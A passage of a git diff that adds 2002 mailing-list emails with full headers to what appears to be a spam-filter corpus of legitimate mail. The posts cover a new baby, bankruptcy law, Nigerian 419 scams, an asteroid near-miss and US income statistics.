2002 05:18:18 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id A545B2940B5; Sat, 27 Jul 2002 21:11:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from crank.slack.net (slack.net [166.84.151.181]) by xent.com + (Postfix) with ESMTP id 94D4D2940B4 for ; Sat, + 27 Jul 2002 21:10:43 -0700 (PDT) +Received: by crank.slack.net (Postfix, from userid 596) id 21DA43EDE8; + Sun, 28 Jul 2002 00:11:15 -0400 (EDT) +Received: from localhost (localhost [127.0.0.1]) by crank.slack.net + (Postfix) with ESMTP id 207A23EDD2; Sun, 28 Jul 2002 00:11:15 -0400 (EDT) +From: Tom +To: vox@mindvox.com +Cc: fork@spamassassin.taint.org +Subject: Re: [vox] Re: And Away We go +In-Reply-To: +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 28 Jul 2002 00:11:15 -0400 (EDT) + +On Sat, 27 Jul 2002, David Parmet wrote: +--] +--]Unless, like mine (who made me email everybody while she was on the phone +--]with her OB), his wife is a bigger geek than he is. +--] + +She made me do the calls and look for a terminal and she even reminded me +to update wsmf.org. Its a geekygeek family. + +And I had a laptop/firewire/vidcam/modem solution all set up but she nixed +that very very harshly.... + +-tom + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00925.02443d63888a5691bc8ea440fa9feeef b/bayes/spamham/easy_ham_2/00925.02443d63888a5691bc8ea440fa9feeef new file mode 100644 index 0000000..8afa81a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00925.02443d63888a5691bc8ea440fa9feeef @@ -0,0 +1,72 @@ +From fork-admin@xent.com Mon Jul 29 11:29:28 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CB20F44105 + for ; Mon, 29 Jul 2002 06:25:40 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:40 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6S6j3i24607 for ; + Sun, 28 Jul 2002 07:45:03 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 3A02829409D; Sat, 27 Jul 2002 23:43:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id 5CD5229409A for ; + Sat, 27 Jul 2002 23:42:57 -0700 (PDT) +Received: from maya.dyndns.org (ts5-025.ptrb.interhop.net + [165.154.190.89]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g6S6Hsa18423; Sun, 28 Jul 2002 02:17:55 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id B22F71C39A; + Sun, 28 Jul 2002 01:22:24 -0400 (EDT) +To: Tom +Cc: fork@spamassassin.taint.org, vox@mindvox.com +Subject: Re: Benjamin Wallace Higgins +References: +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 28 Jul 2002 01:22:24 -0400 + +>>>>> "t" == tomwhore writes: + + t> The first pewp...man they prep you for it but northing really + t> can...Wowzer that stuff is road tar. + +First kid, eh? ;) + +No, there's no prep for it. No prep for the fifth either. If you have +any parenting guidance books, burn them now. + +Congratulations; kudos and regards to the mum. It don't matter how it +happened so long as everyone's ok. + +Starting today, that's three lives that will never be the same. + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc +Business Innovations Through Open Source Systems: http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00926.eed4da873da1b2b4009ea9f57eb34e68 b/bayes/spamham/easy_ham_2/00926.eed4da873da1b2b4009ea9f57eb34e68 new file mode 100644 index 0000000..3143ba7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00926.eed4da873da1b2b4009ea9f57eb34e68 @@ -0,0 +1,94 @@ +From fork-admin@xent.com Mon Jul 29 20:07:14 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id F0EB9440F0 + for ; Mon, 29 Jul 2002 15:07:12 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 20:07:12 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6TJ5Aq14450 for ; + Mon, 29 Jul 2002 20:05:11 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id EE81C2940D5; Mon, 29 Jul 2002 12:03:09 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mail.lig.net (unknown [204.248.145.126]) by xent.com + (Postfix) with ESMTP id 45E742940D3 for ; Mon, + 29 Jul 2002 12:02:21 -0700 (PDT) +Received: from lig.net (sl-highp1-1-0.sprintlink.net [144.228.5.138]) by + mail.lig.net (Postfix) with ESMTP id 0CF006807C; Mon, 29 Jul 2002 14:20:33 + -0400 (EDT) +Message-Id: <3D4590B4.2090707@lig.net> +From: "Stephen D. Williams" +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0rc2) + Gecko/20020513 Netscape/7.0b1 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: Gary Lawrence Murphy +Cc: Tom , fork@spamassassin.taint.org, vox@mindvox.com +Subject: Re: Benjamin Wallace Higgins +References: + +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 29 Jul 2002 15:00:04 -0400 + +Congratulations!! + +A few observations: + +All children are different and will generally route around whatever +technique you learned from relatives, books, talk shows, or the last child. + +Just when you get good at being a parent, you're done. + +Don't overprotect. I always called this "First Baby Syndrome". A +neighbor at one point had a 4 or 5 year old that would choke on jello, +probably because she never allowed him to have solid food until he was +far too old, IMHO. I fed mine cereal, etc., early and let them get the +hang of it. I always want my kids to be able to handle anything if I'm +not there so I have them try it out when I am. (Within limits of +course.) Of course, I'm now beating up my body at Vans Skate Park trying +to do 5ft. half pipes on speed skates with my 10 year old daughter. + +sdw + +Gary Lawrence Murphy wrote: + +>>>>>>"t" == tomwhore writes: +>>>>>> +>>>>>> +> +> t> The first pewp...man they prep you for it but northing really +> t> can...Wowzer that stuff is road tar. +> +>First kid, eh? ;) +> +>No, there's no prep for it. No prep for the fifth either. If you have +>any parenting guidance books, burn them now. +> +>Congratulations; kudos and regards to the mum. It don't matter how it +>happened so long as everyone's ok. +> +>Starting today, that's three lives that will never be the same. +> +> +> + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00927.43abf92b4bb6428ae93fa996a0602daa b/bayes/spamham/easy_ham_2/00927.43abf92b4bb6428ae93fa996a0602daa new file mode 100644 index 0000000..9f157ce --- /dev/null +++ b/bayes/spamham/easy_ham_2/00927.43abf92b4bb6428ae93fa996a0602daa @@ -0,0 +1,74 @@ +From fork-admin@xent.com Mon Jul 29 20:17:20 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 965DA440EE + for ; Mon, 29 Jul 2002 15:17:20 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 20:17:20 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6TJAVq14713 for ; + Mon, 29 Jul 2002 20:10:32 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 0467E2940DD; Mon, 29 Jul 2002 12:08:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from hotmail.com (f9.law15.hotmail.com [64.4.23.9]) by xent.com + (Postfix) with ESMTP id 6A2C32940DA for ; Mon, + 29 Jul 2002 12:07:48 -0700 (PDT) +Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; + Mon, 29 Jul 2002 12:08:06 -0700 +Received: from 216.30.74.2 by lw15fd.law15.hotmail.msn.com with HTTP; + Mon, 29 Jul 2002 19:08:05 GMT +X-Originating-Ip: [216.30.74.2] +From: "Russell Turpin" +To: fork@spamassassin.taint.org +Subject: Re: [NYT] A Sudden Rush to Declare Bankruptcy is Expected +MIME-Version: 1.0 +Content-Type: text/plain; format=flowed +Message-Id: +X-Originalarrivaltime: 29 Jul 2002 19:08:06.0058 (UTC) FILETIME=[450488A0:01C23733] +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 29 Jul 2002 19:08:05 +0000 + +Owen Byrne: +>I think his beef is that the laws for personal bankruptcy are being +>rewritten without touching +>corporate bankruptcy, another example of how the legal construct known as a +>"corporation" +>is treated more favorably than the non-legal construct known as a "human +>being." + +Yeah, I get that. I just think this is a poor +example. Corporate bankruptcy is a power fight +between creditors, management, and shareholders +over control of assets. Because a corporation is +incorporeal (hee, hee), it can't be much else. + +If you're concerned about the imbalance of power +related to corporations, I think the more relevant +areas are tax structures, especially the income +tax, various forms of externality, law related to +employment, corporate transparency, and corporate +governance. + + + + +_________________________________________________________________ +Chat with friends online, try MSN Messenger: http://messenger.msn.com + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00928.b76bc17c6c6b99d4f3c66726b0a6f621 b/bayes/spamham/easy_ham_2/00928.b76bc17c6c6b99d4f3c66726b0a6f621 new file mode 100644 index 0000000..bcd06a3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00928.b76bc17c6c6b99d4f3c66726b0a6f621 @@ -0,0 +1,74 @@ +From fork-admin@xent.com Mon Jul 29 21:49:03 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1911F440F2 + for ; Mon, 29 Jul 2002 16:48:57 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 21:48:57 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6TKoAq18979 for ; + Mon, 29 Jul 2002 21:50:10 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 184CB2940E3; Mon, 29 Jul 2002 13:48:09 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mithral.com (watcher.mithral.com [204.153.244.1]) by + xent.com (Postfix) with SMTP id 18A512940E2 for ; + Mon, 29 Jul 2002 13:47:43 -0700 (PDT) +Received: (qmail 25551 invoked by uid 1111); 29 Jul 2002 20:47:52 -0000 +From: "Adam L. Beberg" +To: James Rogers +Cc: +Subject: Re: [NYT] A Sudden Rush to Declare Bankruptcy is Expected +In-Reply-To: <1027966004.19964.73.camel@avalon> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 29 Jul 2002 13:47:52 -0700 (PDT) + +On 29 Jul 2002, James Rogers wrote: + +> On Mon, 2002-07-29 at 06:36, Russell Turpin wrote: +> > +> > Now yeah, creditors are left holding the bag when a +> > company goes bankrupt. +> +> +> In my experience, it is the shareholders who are left holding the bag. + +Yes, the current ones, but rarely if ever the original ones. Mom and pop +investor get screwed, while the originals have inside info and have cashed +it all or enough out to not care anymore. + +As for the rules for a corp being different then for people, why do you +think we HAVE corporations? Tax benefits, liability benefits, and the ever +popular i didn't do it. If everything can be blamed on a +virtual "thing" then noone has to worry about having their $100M home in +florida taken away :) + +Of course if you read the story on VCs posted earlier, you dont have to +worry about corporations happening so much anymore. The old boys network saw +they let things get a bit out of control, all those geeks having money, and +are definately making sure the money all stays in the family from now on. + +- Adam L. "Duncan" Beberg + http://www.mithral.com/~beberg/ + beberg@mithral.com + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00929.2a34239559a12706a924bfabad41a5f6 b/bayes/spamham/easy_ham_2/00929.2a34239559a12706a924bfabad41a5f6 new file mode 100644 index 0000000..8b541b4 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00929.2a34239559a12706a924bfabad41a5f6 @@ -0,0 +1,92 @@ +From fork-admin@xent.com Tue Jul 30 08:09:43 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2364D440EE + for ; Tue, 30 Jul 2002 03:09:43 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 08:09:43 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6U78Hq12320 for ; + Tue, 30 Jul 2002 08:08:17 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 182622940AF; Tue, 30 Jul 2002 00:06:10 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from pimout1-ext.prodigy.net (pimout1-ext.prodigy.net + [207.115.63.77]) by xent.com (Postfix) with ESMTP id 348BF294098 for + ; Tue, 30 Jul 2002 00:05:22 -0700 (PDT) +Received: from localhost + (dialup-63.212.132.248.Dial1.LosAngeles1.Level3.net [63.212.132.248]) by + pimout1-ext.prodigy.net (8.11.0/8.11.0) with ESMTP id g6U75aQ69342 for + ; Tue, 30 Jul 2002 03:05:36 -0400 +From: bitbitch@magnesium.net +X-Mailer: The Bat! (v1.53d) Educational +Reply-To: bitbitch@magnesium.net +X-Priority: 3 (Normal) +Message-Id: <15922161406.20020730000528@magnesium.net> +To: fork@spamassassin.taint.org +Subject: One scam to rule them all.. +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 30 Jul 2002 00:05:28 -0700 + +One scam to rule them all, +One scam to bind them, +One scan to burn them all, +And the stupidity bind them. + +(Yes, i'm ripping, and badly from LOTR) + +Alright, so NPR's All Things Considered had a wonderful story on the whole Nigerian 419 scams that seem to be running +into my inbox constantly (Thanks FoRK!) Turns out, these 419 scams (419 is the statute in Nigeria that this particular form +of fraud falls under) have actually snared a few people -- NPR reported to the tune of 100 million dollars over a few years, in the US alone. + +One website listed the 419 scam as being the 'third to fith largest industry in Nigeria' (1), netting billions of dollars +from around the world. Its large enough to warrant a governmental investigation and a special number to call and report +(to the secret service, no less) scam abuse. (2) Folks are apparently being held for ransom if they decide to go +'check out' the scam. (3). + +Listen to the NPR article (4). What's great about NPR is the commentary at the end. Turns out, this is all unbelievably +common. The origination, at least to NPR's knowledge, starts with the scam elements being transposed from Nigeria, +to London, England. Instead of the bereved widow of a Nigerian national, the originating con was directed to the 'heirs' +of Sir Frances Drake's estate. If you were 'chosen' as an heir, you could contribute a portion of your money so that a +fellow heir (and scam artist) could reclaim the monetary largess in the Court of England, by proving that Elizabeth I had +nulled Sir Drake's will and taken his fortune as her own. Oscar +Hartzell, the gent who started this scam, way back in the early 1800s, +managed to gain quite a fortune, all on the backs of idiots. Sound familiar? + +A fool and his money, deserve to be parted. + +(1) http://home.rica.net/alphae/419coal/ +(2) 'If you have received a letter, but have not lost any monies to this scheme, please fax a copy of that letter to +(202) 406-5031.' From: http://www.secretservice.gov/alert419.shtml -- +They also have a number for those idiots who have lost their money to this. +(3) http://www.crimes-of-persuasion.com/Crimes/Business/nigerian.htm +(4) http://www.npr.org/ramfiles/atc/20020729.atc.12.ram -- Go down to Nigerian 419 scams + + +So i'm in a wierd mood, go figure. + +BB +-- +Best regards, + bitbitch mailto:bitbitch@magnesium.net + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00930.d20e3d61ecf2c7f599c99808529b333c b/bayes/spamham/easy_ham_2/00930.d20e3d61ecf2c7f599c99808529b333c new file mode 100644 index 0000000..c3d52c1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00930.d20e3d61ecf2c7f599c99808529b333c @@ -0,0 +1,72 @@ +From fork-admin@xent.com Tue Jul 30 08:30:04 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4F040440F0 + for ; Tue, 30 Jul 2002 03:30:03 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 08:30:03 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6U7RFq12944 for ; + Tue, 30 Jul 2002 08:27:16 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 59AC62940F1; Tue, 30 Jul 2002 00:25:12 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from t2.serverbox.net (64-71-187-101.ip.serverbox.net + [64.71.187.101]) by xent.com (Postfix) with SMTP id 53A562940F0 for + ; Tue, 30 Jul 2002 00:24:52 -0700 (PDT) +Received: (qmail 2756 invoked from network); 30 Jul 2002 07:25:09 -0000 +Received: from unknown (HELO techdirt.techdirt.com) (12.236.16.241) by + t2.serverbox.net with SMTP; 30 Jul 2002 07:25:09 -0000 +Message-Id: <5.1.1.6.0.20020730001727.0498be60@techdirt.com> +X-Sender: mike@techdirt.com +X-Mailer: QUALCOMM Windows Eudora Version 5.1.1 +To: bitbitch@magnesium.net, fork@spamassassin.taint.org +From: Mike Masnick +Subject: Re: One scam to rule them all.. +In-Reply-To: <15922161406.20020730000528@magnesium.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii"; format=flowed +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 30 Jul 2002 00:23:07 -0700 + +At 12:05 AM 7/30/02 -0700, bitbitch@magnesium.net wrote: +>common. The origination, at least to NPR's knowledge, starts with the +>scam elements being transposed from Nigeria, +>to London, England. Instead of the bereved widow of a Nigerian national, +>the originating con was directed to the 'heirs' +>of Sir Frances Drake's estate. If you were 'chosen' as an heir, you +>could contribute a portion of your money so that a +>fellow heir (and scam artist) could reclaim the monetary largess in the +>Court of England, by proving that Elizabeth I had +>nulled Sir Drake's will and taken his fortune as her own. Oscar +>Hartzell, the gent who started this scam, way back in the early 1800s, +>managed to gain quite a fortune, all on the backs of idiots. Sound familiar? + +Coincidentally enough, I'm currently in the middle of a pretty good book +about the Francis Drake scam called "Drake's Fortune" by Richard Raynor. + +Despite being pretty familiar with the whole 419 scam stuff (see my earlier +FoRK post from a few months back about how the whole scam works: +http://www.xent.com/pipermail/fork/2002-May/011928.html) I never put the +two together as being related. + +Apparently, I suck at pattern matching. + +-Mike + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00931.90eba49bd3b2aa36a3f4f5dd34d2ba7a b/bayes/spamham/easy_ham_2/00931.90eba49bd3b2aa36a3f4f5dd34d2ba7a new file mode 100644 index 0000000..9ce170f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00931.90eba49bd3b2aa36a3f4f5dd34d2ba7a @@ -0,0 +1,55 @@ +From fork-admin@xent.com Tue Jul 30 12:35:53 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4DAA9440F3 + for ; Tue, 30 Jul 2002 07:35:40 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 12:35:40 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6UBT6q23769 for ; + Tue, 30 Jul 2002 12:29:06 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 5A53B2940C4; Tue, 30 Jul 2002 04:27:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from argote.ch (argote.ch [80.65.224.17]) by xent.com (Postfix) + with ESMTP id 8A5332940B2 for ; Tue, 30 Jul 2002 04:26:01 + -0700 (PDT) +Received: by argote.ch (Postfix, from userid 500) id 5736EC44E; + Tue, 30 Jul 2002 13:25:01 +0200 (CEST) +To: fork@spamassassin.taint.org +Subject: Re: Asteroids anyone ? +Message-Id: <20020730112501.5736EC44E@argote.ch> +From: harley@argote.ch (Robert Harley) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 30 Jul 2002 13:25:01 +0200 (CEST) + +Another one fizzles out... + +http://www.cnn.com/2002/TECH/space/07/29/asteroid.threat.ap/index.html +------------------------------------------------------------------------------ +Asteroid impact with Earth ruled out for 2019 + +PASADENA, California (AP) -- Astronomers said Monday they have +determined that a newly discovered, 1.2-mile-wide asteroid will miss +the Earth in 2019. + +[...] +------------------------------------------------------------------------------ + +R +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00932.022257926109e7a87021f0ae690792be b/bayes/spamham/easy_ham_2/00932.022257926109e7a87021f0ae690792be new file mode 100644 index 0000000..78a4fd2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00932.022257926109e7a87021f0ae690792be @@ -0,0 +1,113 @@ +From fork-admin@xent.com Tue Jul 30 20:02:56 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 364D5440C8 + for ; Tue, 30 Jul 2002 15:02:55 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 20:02:55 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6UJ1U212555 for ; + Tue, 30 Jul 2002 20:01:35 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id AA0D12940EF; Tue, 30 Jul 2002 11:59:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from localhost.localdomain (pm3-27.sba1.netlojix.net + [207.71.218.171]) by xent.com (Postfix) with ESMTP id 5479C2940E2 for + ; Tue, 30 Jul 2002 11:58:17 -0700 (PDT) +Received: (from dave@localhost) by maltesecat (8.8.7/8.8.7a) id MAA10942; + Tue, 30 Jul 2002 12:00:35 -0700 +Message-Id: <200207301900.MAA10942@maltesecat> +To: fork@spamassassin.taint.org +Subject: I am the new #2 [Re: USA USA ...] +In-Reply-To: Message from fork-request@xent.com of + "Fri, 26 Jul 2002 05:08:02 PDT." + <20020726120802.12181.68141.Mailman@lair.xent.com> +From: Dave Long +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 30 Jul 2002 12:00:34 -0700 + + + +> Yes, and the working class deserves what it gets, ... + +Careful now, you're talking about +most (80%) of the country. + +(although perhaps it is true that in +a democracy, the people wind up with +the government which they deserve) + +> ... I grew up in as abject a poverty as you can find in the US ... + +... and there is a large excluded middle +between those "in poverty" and those who +are more affluent than "working class". + +I don't know what poverty officially is, +but from a CA perspective, $15k income is +not going to go far. At current interest +rates, one would probably want somewhere +around $500k* wealth to throw that amount, +which pretty much limits the non-working +class to a small, single-digit percentage +of households. (how much overlap do we +have with the retirement cohort here?) + +The 2000 numbers pretty much confirm it: + +shows that the top 5% of incomes are mostly +two+-earner households, and the zero-earner +households are rare above median incomes. +We are the workers' paradise. + +The census figured $18k as the cutoff for +lowest 5th, so with that as a poverty line, +the percentages break down as follows: + +work\pov. yes no +yes 9 72 +no 11 8 + +-Dave + +::::::::::: + +* perhaps that's not even enough: +"[Irvine] "Everyone has to take a job sometime" / NH3" + + +(1998 wealth data was supposedly released +in 2001, but I haven't seen it yet on the +census site. Anyone have a pointer?) + +::::::::::: + +> Do you punish the whole industry due to a few bad apples? + +>>From what little I have heard, the +legislation simply says that lying +in one's public figures is not just +a matter of cheating the accounts, +but really involves stealing time +and money from one's employees and +investors. How does not tolerating +the bad apples equate to punishing +the good ones? + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00933.d8902fb6cca828eb34fb1a0300950704 b/bayes/spamham/easy_ham_2/00933.d8902fb6cca828eb34fb1a0300950704 new file mode 100644 index 0000000..5e06c4b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00933.d8902fb6cca828eb34fb1a0300950704 @@ -0,0 +1,63 @@ +From fork-admin@xent.com Wed Jul 31 06:02:34 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 83C434407C + for ; Wed, 31 Jul 2002 01:02:34 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 06:02:34 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6V52S203236 for ; + Wed, 31 Jul 2002 06:02:30 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 99A3A2940E2; Tue, 30 Jul 2002 22:00:09 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id 910C12940D4 for ; + Tue, 30 Jul 2002 21:59:27 -0700 (PDT) +Received: from maya.dyndns.org (ts5-032.ptrb.interhop.net + [165.154.190.96]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g6V4YVd28189; Wed, 31 Jul 2002 00:34:32 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id A31941C3B8; + Wed, 31 Jul 2002 00:59:32 -0400 (EDT) +To: harley@argote.ch (Robert Harley) +Cc: fork@spamassassin.taint.org +Subject: Re: Asteroids anyone ? +References: <20020730112501.5736EC44E@argote.ch> +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + 